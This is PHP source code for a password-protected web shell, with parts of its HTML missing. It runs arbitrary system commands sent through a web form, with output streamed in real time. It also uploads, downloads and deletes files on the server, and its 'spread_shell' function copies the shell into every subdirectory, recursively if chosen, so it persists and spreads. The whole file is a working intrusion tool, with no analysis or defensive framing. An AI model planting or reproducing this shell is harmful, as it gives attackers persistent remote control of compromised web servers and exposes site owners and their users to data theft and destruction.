Password: '); } // Persistent working directory (stored in session) if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } else { chdir($_SESSION['cwd']); } // Handle directory change (via GET) if (isset($_GET['cd'])) { $newdir = $_GET['cd']; if (chdir($newdir)) { $_SESSION['cwd'] = getcwd(); // Redirect to remove 'cd' from URL for cleaner appearance header("Location: ?pass=" . urlencode($_SESSION['pass'])); exit; } else { $cd_error = "Cannot change to $newdir"; } } // ======================================================== // Helper: Real-time command execution (streaming) // ======================================================== function realtime_exec($cmd) { // Disable output buffering and time limit set_time_limit(0); ob_implicit_flush(true); ob_end_flush(); $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'] // stderr ]; $process = proc_open($cmd, $descriptors, $pipes, $_SESSION['cwd']); if (is_resource($process)) { // Close stdin (we don't need it) fclose($pipes[0]); // Read stdout line by line while ($line = fgets($pipes[1])) { echo htmlspecialchars($line); flush(); } // Read stderr as well while ($line = fgets($pipes[2])) { echo '' . htmlspecialchars($line) . ''; flush(); } fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } else { echo "Failed to execute command."; } } // ======================================================== // Helper: Spread shell to all subdirectories // ======================================================== function spread_shell($recursive = false, $target_dir = null) { $source = __FILE__; $current_dir = $target_dir ?: $_SESSION['cwd']; $results = []; $items = scandir($current_dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $current_dir . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $target_file = $full_path . DIRECTORY_SEPARATOR . basename($source); if (copy($source, $target_file)) { $results[] = "Copied to: $target_file"; } else { $results[] = "Failed to copy to: $target_file"; } if ($recursive) { // Recursively spread into sub-subdirectories $results = array_merge($results, spread_shell(true, $full_path)); } } } return $results; } // ======================================================== // Handle actions // ======================================================== $output = ''; $action_result = ''; // Command execution if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; if (isset($_POST['realtime']) && $_POST['realtime'] == '1') { // Real-time streaming mode echo '
';
realtime_exec($cmd);
echo '';
echo 'Back';
echo '';
exit; // Stop further output
} else {
// Normal mode (capture all output)
$output = "" . htmlspecialchars(shell_exec($cmd)) . ""; } } // File upload if (isset($_FILES['upload'])) { $target = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) { $action_result = "
Uploaded: " . htmlspecialchars(basename($target)) . "
"; } else { $action_result = "Upload failed.
"; } } // File download if (isset($_GET['download'])) { $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_GET['download']; if (file_exists($file) && is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // File delete if (isset($_GET['delete'])) { $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_GET['delete']; if (file_exists($file) && is_file($file)) { if (unlink($file)) { $action_result = "Deleted: " . htmlspecialchars($_GET['delete']) . "
"; } else { $action_result = "Delete failed.
"; } } } // Spread shell action if (isset($_POST['spread'])) { $recursive = isset($_POST['recursive']) ? true : false; $results = spread_shell($recursive); $action_result = "" . implode("\n", $results) . "";
}
// Get current directory listing
$cwd = $_SESSION['cwd'];
$files = scandir($cwd);
?>
Current directory:
$cd_error"; ?>Copy this shell into all subdirectories of the current folder.